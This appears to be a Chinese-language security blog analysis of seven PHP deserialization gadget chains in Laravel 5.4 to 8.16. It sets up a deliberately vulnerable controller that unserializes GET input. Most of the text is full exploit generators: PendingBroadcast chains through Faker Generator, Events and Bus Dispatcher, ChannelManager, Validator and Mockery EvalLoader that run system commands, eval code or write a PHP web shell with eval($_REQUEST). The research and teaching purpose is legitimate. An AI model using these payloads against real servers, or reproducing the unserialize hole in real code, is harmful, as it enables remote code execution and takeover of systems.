环境搭建 本地Win10+phpstudy+phpstorm+xdebug。涉及到几个点:
1.php、composer加入环境变量 将phpstudy里面的php执行路径加入环境变量,phpstudy自带的composer版本比较低,可以到composer 官网下载最新版。
2.xdebug配置 配置文件如下
1 2 3 4 5 6 7 8 9 10 11 12 zend_extension = E:\phpstudy_pro\Extensions\php\php7.0.9 nts\ext\php_xdebug.dllxdebug.profiler_enable =1 xdebug.profiler_enable_trigger =0 xdebug.profiler_output_dir ="D:\Server\PHP\xdebug" xdebug.trace_output_dir ="D:\Server\PHP\xdebug" xdebug.profiler_output_name ="xdebug.cache.%t-%s" xdebug.profiler_append =0 xdebug.remote_enable =1 xdebug.remote_host ="localhost" xdebug.remote_port =9001 xdebug.remote_handler ="dbgp" xdebug.idekey =PHPSTORM
3.phpstorm配置Lavarel artisan调试 打开 PhpStorm 的配置功能,搜索 Debug 打开标签页,修改 xDebug port 为 9001
Tips : 9001 是可以自由修改的,但需要和 php.ini 配置的 xdebug.remote_port 保持一致
4.Lavarel版本 Laravel5.4.x
、Laravel5.5.x
的PHP版本要求是>=7.0.0
,Laravel5.6.x、Laravel5.7.x、Laravel5.8.x的PHP版本要求是7.1.3<=版本号<8.0.0
。
RCE1 本文分析RCE1的时候,Laravel版本采用的是5.4.30,采用composer安装。
1 2 3 4 5 6 composer create-project --prefer-dist laravel/laravel laravel5.4.30 "5.4.*" cd laravel5.4.30\ composer install php artisan cache:clear php artisan make:auth php artisan migrate
数据库迁移时可能出现的问题:
1 SQLSTATE[42000]: Syntax error or access violation: 1071 Specified key was too long; max key length is 1000 bytes (SQL: alter table `users` add unique `users_email_unique`(`email`))
解决办法是编辑app/Providers/AppServiceProvider.php
文件,添加如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php namespace App \Providers ;use Illuminate \Support \ServiceProvider ;use Illuminate \Support \Facades \Schema ;class AppServiceProvider extends ServiceProvider { public function register () { } public function boot () { Schema::defaultStringLength(191 ); } }
错误原因是因为我所需要的字段长度太长了,而默认的字段长度并没有这么长。重新执行php artisan migrate
即可。(可能提示某些项已经存在,那就先删除指定数据库,然后新建一个数据库)
接下来创建控制器:
1 php artisan make:controller DemoController
配置路由(\routes\web.php)(记得注释原来的路由):
1 2 3 4 5 6 7 use App \Http \Controllers \DemoController ;Route::get("/" , "DemoController@demo" );
控制器(\app\Http\Controllers\DemoController.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php namespace App \Http \Controllers ;use Illuminate \Http \Request ;class DemoController extends Controller { public function demo () { if (isset ($_GET['c' ])){ $code = $_GET['c' ]; unserialize($code); } else { highlight_file(__FILE__ ); } return "Welcome to laravel5.4.x" ; } }
本地启动:php artisan serve --host=0.0.0.0
访问:
入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/fzaninotto/faker/src/Faker/Generator.php/Generator
从__destruct
入手,PendingBroadcast::__destruct()
第50-59行:
1 2 3 4 5 6 7 8 9 10 public function __destruct () { $this ->events->dispatch($this ->event); } }
这里的event和events均可控,可以想到的利用方法有:控制events
触发__call
、__callStatic
方法或者控制event
触发__toString
方法。寻找可利用方法:同名方法dispatch或魔术方法__call
、__callStatic
,找到Faker\Generator
,Faker\Generator::__call
第277-286行:
1 2 3 4 5 6 7 8 9 10 public function __call ($method, $attributes) { return $this ->format($method, $attributes); }
然后调用当前类的format
方法,Faker\Generator::format
第226-229行:
1 2 3 4 public function format ($formatter, $arguments = array() ) { return call_user_func_array($this ->getFormatter($formatter), $arguments); }
看到敏感函数了,但是这里回调函数经过了getFormatter
函数的处理,查看一下定义,Faker\Generator::getFormatter
第231-249行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function getFormatter ($formatter) { if (isset ($this ->formatters[$formatter])) { return $this ->formatters[$formatter]; } foreach ($this ->providers as $provider) { if (method_exists($provider, $formatter)) { $this ->formatters[$formatter] = array ($provider, $formatter); return $this ->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"' , $formatter)); }
这里判断了一下$this->formatters[$formatter]
是否存在,但是由于该类的成员变量全部可控,所以这个判断可以绕过。该类存在__wakeup
方法,Faker\Generator::__wakeup
:
1 2 3 4 5 public function __wakeup () { $this ->formatters = []; } }
所以在我们调用unserialize时会触发,恰巧wakeup方法是清空我们要利用的formatters数组,所以我们需要利用CVE-2016-7124 ,通过修改变量个数来绕过它。该CVE的基本信息如下:
存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
漏洞概述: __wakeup()
魔法函数被绕过,导致执行了一些非预期效果的漏洞
漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过
EXP1 本exp所在测试环境为PHP7.0.9+Laravel5.4.40。
可以看到,控制了call_user_func_array
两个参数,而第二个参数是原来的$this->event
经过__call
之后变成了array($this->event)
,这意味着call_user_func_array
第二个参数只能是个单元素的array。这还是能执行system
的,因为system
只有一个参数。最终payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $event ; protected $events; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Faker { class Generator { protected $formatters = array (); public function __construct ($formatters) { $this ->formatters = $formatters; } } } namespace { $generator = new Faker \Generator (array ("dispatch "=>"system ")); $o = new Illuminate\Broadcasting\PendingBroadcast($generator, "dir" ); $s = str_replace('"Faker\\Generator":1' ,'"Faker\\Generator":2' ,serialize($o)); echo urlencode($s); }
注: 比较诡异的一点,这个payload我用在PHP7.3.9+Lavarel8.5.35的测试环境时,也能够执行成功。按理说PHP版本大于7.0.9,CVE-2016-7124无法触发。
这里有个需要注意的点,我们来看一下call_user_func_array 函数的定义:
注意函数的第一个参数需要是callable
类型的,该类型的解释如下:
也就是说,在编写exp的时候,不能把eval
传递给call_user_func_array
函数,当做该函数的第一个参数的值。因为eval
被排除在Callback
类型之外了,传递进去会产生错误。
EXP2 本exp所在测试环境为PHP7.3.9+Laravel5.8.35。
EXP1中,如果靶机禁用了像system这种的危险函数,我们需要使用双参数的函数例如file_put_contents写shell,或者希望执行任意函数,那么上面的payload就没办法了。call_user_func_array
第一个参数是完全可控的,这意味着我们可以调用任意类对象的任意方法,那么我们找一个有危险函数的类,并且参数可控就好了。搜索寻找PhpOption/LazyOption
类中的option函数的call_user_func_array函数中间两个参数都是完全可控的,非常完美的函数。
vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
第153-170行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private function option () { if (null === $this ->option) { $option = call_user_func_array($this ->callback, $this ->arguments); if ($option instanceof Option) { $this ->option = $option; } else { throw new \RuntimeException(sprintf('Expected instance of %s' , Option::class)); } } return $this ->option; } }
option函数不接受参数输入,但是LazyOption类其他的函数都是下面这样的,会直接调用option函数。类似如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function filter ($callable) { return $this ->option()->filter($callable); } public function filterNot ($callable) { return $this ->option()->filterNot($callable); } public function select ($value) { return $this ->option()->select($value); }
最终payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php namespace Faker { class Generator { protected $formatters = array (); public function __construct ($formatters) { $this ->formatters = $formatters; } } } namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($events, $event) { $this ->events = $events; $this ->event = $event; } } } namespace PhpOption { final class LazyOption { private $callback ; private $arguments; private $option; public function __construct ($callback, $arguments, $option) { $this ->callback = $callback; $this ->arguments = $arguments; $this ->option = $option; } } } namespace { $c = new PhpOption\LazyOption('file_put_contents', array('E:\\phpstudy_pro\\lavarel5.8.x\\shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null); $b = new Faker\Generator(array ('dispatch' => array ($c, "filter" ))); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1 ); $s = str_replace('"Faker\\Generator":1' ,'"Faker\\Generator":2' ,serialize($a)); echo urlencode($s); }
RCE2 本文分析RCE2的时候,Laravel
版本采用的是5.5.28,PHP版本采用的是7.0.9。
入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php/Dispatcher
Events/Dispatcher.php
第176-220行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public function dispatch ($event, $payload = [], $halt = false) { list ($event, $payload) = $this ->parseEventAndPayload( $event, $payload ); if ($this ->shouldBroadcast($payload)) { $this ->broadcastEvent($payload[0 ]); } $responses = []; foreach ($this ->getListeners($event) as $listener) { $response = $listener($event, $payload); if ($halt && ! is_null($response)) { return $response; } if ($response === false ) { break ; } $responses[] = $response; } return $halt ? null : $responses; }
似乎$response = $listener($event, $payload);
中的参数可以控制?去构造一个system(whoami)
$event
变量是来自Illuminate\Broadcasting\PendingBroadcast
类的$this->event
我们可以控制。
所以接下来至少的利用都要去控制$listener
变量。而$listener
变量是来自getListeners()
方法。
Events/Dispatcher.php
第274-291行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function getListeners ($eventName) { $listeners = $this ->listeners[$eventName] ?? []; $listeners = array_merge( $listeners, $this ->getWildcardListeners($eventName) ); return class_exists($eventName, false ) ? $this ->addInterfaceListeners($eventName, $listeners) : $listeners; }
可以发现我们可以控制的参数是$this->listeners[]
数组,并且这里的$eventName
就是Illuminate\Broadcasting\PendingBroadcast
类的$this->event
为我们执行命令的参数,所以class_exists($eventName, false)
为false,直接返回$listeners
。然后返回dispatch
函数进行foreach操作,这里我们已经可以控制$this->getListeners($event)
的返回值,所以就可以控制$listener
。我们来看一下system
函数的定义:
1 2 foreach ($this ->getListeners($event) as $listener) { $response = $listener($event, $payload);
我们可以知道,执行system命令,就可以不管$payload
变量,并且system函数支持2个参数。
EXP 本exp所在测试环境为PHP7.0.9+Laravel5.5.28。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; function __construct ($events, $parameter) { $this ->events = $events; $this ->event = $parameter; } } } namespace Illuminate \Events { class Dispatcher { protected $listeners ; function __construct ($function, $parameter) { $this ->listeners = [ $parameter => [$function] ]; } } } namespace { $b = new Illuminate\Events\Dispatcher('system','dir'); $a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir' ); echo urlencode(serialize($a)); }
RCE3 入口类 vendor/fzaninotto/faker/src/Faker/Generator.php/Generator
RCE调用类 /vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php/ChannelManager
该类继承Manager
类,其中有__call
方法(在挖掘的时候找到__call
方法后不仅要看该类是否存在可利用的方法,其子类也要看),其实现如下:
vendor/laravel/framework/src/Illuminate/Support/Manager.php
第129-139行:
1 2 3 4 5 6 7 8 9 10 11 12 public function __call ($method, $parameters) { return $this ->driver()->$method(...$parameters); } }
跟进driver()
方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php
第49-67行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function driver ($driver = null) { $driver = $driver ?: $this ->getDefaultDriver(); if (! isset ($this ->drivers[$driver])) { $this ->drivers[$driver] = $this ->createDriver($driver); } return $this ->drivers[$driver]; }
查看getDefaultDriver()
函数,vendor/laravel/framework/src/Illuminate/Support/Manager.php
第42-47行:
1 2 3 4 5 6 abstract public function getDefaultDriver () ;
该函数实现在子类,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager
第141-149行:
1 2 3 4 5 6 7 8 9 public function getDefaultDriver () { return $this ->defaultChannel; }
defaultChannel
的值是我们可控的,比如是null
,然后继续回到driver
方法中,this->drivers
我们可控,使其进入createDriver
方法,/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager
第69-92行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected function createDriver ($driver) { try { return parent ::createDriver($driver); } catch (InvalidArgumentException $e) { if (class_exists($driver)) { return $this ->app->make($driver); } throw $e; } }
因为这里$customCreators
是我们可控的,所以使if语句成立,进入callCustomCreator
方法,vendor/laravel/framework/src/Illuminate/Support/Manager.php
第94-103行:
1 2 3 4 5 6 7 8 9 10 protected function callCustomCreator ($driver) { return $this ->customCreators[$driver]($this ->app); }
其中参数我们都可控,最终可以RCE。
EXP 本exp所在测试环境为PHP7.0.9+Laravel5.5.28。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; function __construct ($events) { $this ->events = $events; } } } namespace Illuminate \Notifications { class ChannelManager { protected $app ; protected $defaultChannel; protected $customCreators; function __construct ($function, $parameter) { $this ->app = $parameter; $this ->customCreators = ['x' => $function]; $this ->defaultChannel = 'x' ; } } } namespace { $b = new Illuminate\Notifications\ChannelManager('system','dir'); $a = new Illuminate\Broadcasting\PendingBroadcast($b,null ); echo urlencode(serialize($a)); }
RCE4 入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/laravel/framework/src/Illuminate/Validation/Validator.php/Validator
从PendingBroadcast::__destruct()
入手,还是找魔术方法__call
vendor/laravel/framework/src/Illuminate/Validation/Validator.php
第1123-1142行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function __call ($method, $parameters) { $rule = Str::snake(substr($method, 8 )); if (isset ($this ->extensions[$rule])) { return $this ->callExtension($rule, $parameters); } throw new BadMethodCallException("Method [$method] does not exist." ); } }
extensions
、rule
均可控(rule
值恒为空)(Str::snake
用法参考文章https://laravel.com/docs/8.x/helpers#method-snake-case)绕过条件判断不是很困难,接着跟进`callExtension`函数。
vendor/laravel/framework/src/Illuminate/Validation/Validator.php
第1091-1107行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected function callExtension ($rule, $parameters) { $callback = $this ->extensions[$rule]; if (is_callable($callback)) { return call_user_func_array($callback, $parameters); } elseif (is_string($callback)) { return $this ->callClassBasedExtension($callback, $parameters); } }
RCE就一目了然了。
EXP 本exp所在测试环境为PHP7.0.9+Laravel5.5.28。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; function __construct ($events, $event) { $this ->events = $events; $this ->event = $event; } } } namespace Illuminate \Validation { class Validator { public $extensions ; function __construct ($function) { $this ->extensions = ['' => $function]; } } } namespace { $validator = new Illuminate \Validation \Validator ("system "); $o = new Illuminate\Broadcasting\PendingBroadcast($validator, "dir" ); echo urlencode(serialize($o)); }
RCE5 入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
起始点还是一样,思路也差不多,找到可利用类存在dispatch方法,然后调用任意类的任意方法。这里找到src/Illuminate/Bus/Dispatcher.php
的dispatch
方法,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
第64-77行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function dispatch ($command) { if ($this ->queueResolver && $this ->commandShouldBeQueued($command)) { return $this ->dispatchToQueue($command); } return $this ->dispatchNow($command); }
返回值分两种情况,首先看看第一种进入dispatchToQueue
方法。需要两个条件都满足,跟进commandShouldBeQueued
方法。
vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
第127-136行:
1 2 3 4 5 6 7 8 9 10 protected function commandShouldBeQueued ($command) { return $command instanceof ShouldQueue; }
说明 command
也就是起始类中传入的this->event
需要是ShouldQueue
的实例,查看实现其接口的类。vendor/laravel/framework/src/Illuminate/Contracts/Queue/ShouldQueue.php
1 2 3 4 5 6 7 8 <?php namespace Illuminate \Contracts \Queue ;interface ShouldQueue { }
我们找到src/Illuminate/Broadcasting/BroadcastEvent.php
,该类实现了上述接口。第24-33行:
1 2 3 4 5 6 7 8 9 10 public function __construct ($event) { $this ->event = $event; }
结合dispatchToQueue
函数的实现,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
第138-161行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function dispatchToQueue ($command) { $connection = $command->connection ?? null ; $queue = call_user_func($this ->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.' ); } if (method_exists($command, 'queue' )) { return $command->queue($queue, $command); } return $this ->pushCommandToQueue($queue, $command); }
可以知道BroadcastEvent.php
的$event
是我们可以控制的,也就是说dispatchToQueue
中的$connection
也是可控的。
接下来分析dispatchToQueue
函数实现中,call_user_func($this->queueResolver, $connection)
的第一个参数$this->queueResolver
。找到一个可以实现RCE的函数,其中vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php/EvalLoader
中存在eval
函数,第26-36行:
1 2 3 4 5 6 7 8 9 10 11 class EvalLoader implements Loader { public function load (MockDefinition $definition) { if (class_exists($definition->getClassName(), false )) { return ; } eval ("?>" . $definition->getCode()); } }
call_user_func
函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader
类,去执行load
方法从而调用到eval函数;$this->queueResolver = [new \Mockery\Loader\EvalLoader(), ‘load’];
(这里需要通过无参数的构造方法传入我们想要利用的函数)。load
方法里的参数必须是MockDefinition
的实例,即$connection
必须是MockDefinition
的实例。
vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php namespace Mockery \Generator ;class MockDefinition { protected $config; protected $code; public function __construct (MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name" ); } $this ->config = $config; $this ->code = $code; } public function getConfig () { return $this ->config; } public function getClassName () { return $this ->config->getName(); } public function getCode () { return $this ->code; } }
if (class_exists($definition->getClassName(), false))
必须为false
才会触发eval
方法。看下getClassName
函数;这里的config
是可控的,所以我们直接找到一个存在getName
方法并且可控该方法的类;全局搜索下找到MockConfiguration.php`可以实现。
vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition
第417-420行:
1 2 3 4 public function getName () { return $this ->name; }
因为最后是要经过class_exists
函数的判断,所以我们可以直接控制其返回一个不存在的类,就会造成false
从而进入eval方法;eval
执行的参数getcode()
返回值即code
变量我们可控,进而可以完成命令执行;
EXP1 本exp所在测试环境为PHP7.0.9+Laravel5.5.28。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; function __construct () { $this ->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load' ]; } } } namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; function __construct ($evilCode) { $this ->events = new \Illuminate\Bus\Dispatcher(); $this ->event = new BroadcastEvent($evilCode); } } class BroadcastEvent { public $connection; function __construct ($evilCode) { $this ->connection = new \Mockery\Generator\MockDefinition($evilCode); } } } namespace Mockery \Loader { class EvalLoader {} } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code; function __construct ($evilCode) { $this ->code = $evilCode; $this ->config = new MockConfiguration(); } } class MockConfiguration { protected $name = 'abcdefg' ; } } namespace { $code = '<?php ' . 'phpinfo();' . ' exit; ?>'; $a = new Illuminate\Broadcasting\PendingBroadcast($code); echo serialize($a); echo urlencode(serialize($a)); }
EXP2 本exp所在测试环境为PHP7.0.9+Laravel5.5.28。
回头再看vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
第138-161行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function dispatchToQueue ($command) { $connection = $command->connection ?? null ; $queue = call_user_func($this ->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.' ); } if (method_exists($command, 'queue' )) { return $command->queue($queue, $command); } return $this ->pushCommandToQueue($queue, $command); }
call_user_func
也是可以直接控制进行命令执行的。最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace Illuminate \Broadcasting { use Illuminate \Contracts \Events \Dispatcher ; class PendingBroadcast { protected $event; protected $events; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Illuminate \Bus {class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver) { $this ->queueResolver = $queueResolver; } } } namespace Illuminate \Broadcasting {class BroadcastEvent { public $connection ; public function __construct ($connection) { $this ->connection = $connection; } } } namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('dir'); $a = new Illuminate\Bus\Dispatcher('system' ); $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c); echo urlencode(serialize($b)); }
RCE6 入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
EXP RCE6类似RCE5,比较利用链发现RCE6只是多了vendor/laravel/framework/src/Illuminate/Support/MessageBag.php/MessageBag
类的定义。查看文档可知:Laravel 中的Illuminate\Support\MessageBag
是一个负责存储 、分类和返回最终用户消息的类。没太搞明白作用,调试了好几遍没看到有啥差别。
RCE7 分析这条链的Laravel版本为8.16.1
。
环境搭建过程如下:
1 composer create-project --prefer-dist laravel/laravel laravel "8.*"
修改composer.json
文件,将laravel/framework
指定版本为` “laravel/framework”: “8.16.1”。然后执行:
创建路由的时候,与之前的略有不同,如下:
1 Route::get('/' , [DemoController::class, 'demo' ]);
入口类 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类 vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
Bus/Dispatcher.php
第68-79行:
1 2 3 4 5 6 7 8 9 10 11 12 public function dispatch ($command) { return $this ->queueResolver && $this ->commandShouldBeQueued($command) ? $this ->dispatchToQueue($command) : $this ->dispatchNow($command); }
该版本的dispatch
实现和RCE5
分析中dispatch
略有不同,不影响利用链的构造。该版本ShouldQueue
实现类又新增了一个类,也就是CallQueuedClosure
类。
vendor/laravel/framework/src/Illuminate/Queue/CallQueuedClosure.php
Queue/CallQueueClosure
第14-48行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class CallQueuedClosure implements ShouldQueue { use Batchable , Dispatchable , InteractsWithQueue , Queueable , SerializesModels ; public $closure; public $failureCallbacks = []; public $deleteWhenMissingModels = true ; public function __construct (SerializableClosure $closure) { $this ->closure = $closure; }
这里同样也是两个参数可控,和RCE5
所示大同小异。
EXP 本exp所在测试环境为PHP7.3.9+Laravel8.16.1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($function, $parameter) { $this ->events = new \Illuminate\Bus\Dispatcher($function); $this ->event = new \Illuminate\Queue\CallQueuedClosure($parameter); } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($function) { $this ->queueResolver = $function; } } } namespace Illuminate \Queue { class CallQueuedClosure { protected $connection ; public function __construct ($parameter) { $this ->connection = $parameter; } } } namespace { $b = new Illuminate \Broadcasting \PendingBroadcast ("system ","dir "); echo urlencode(serialize($b)); }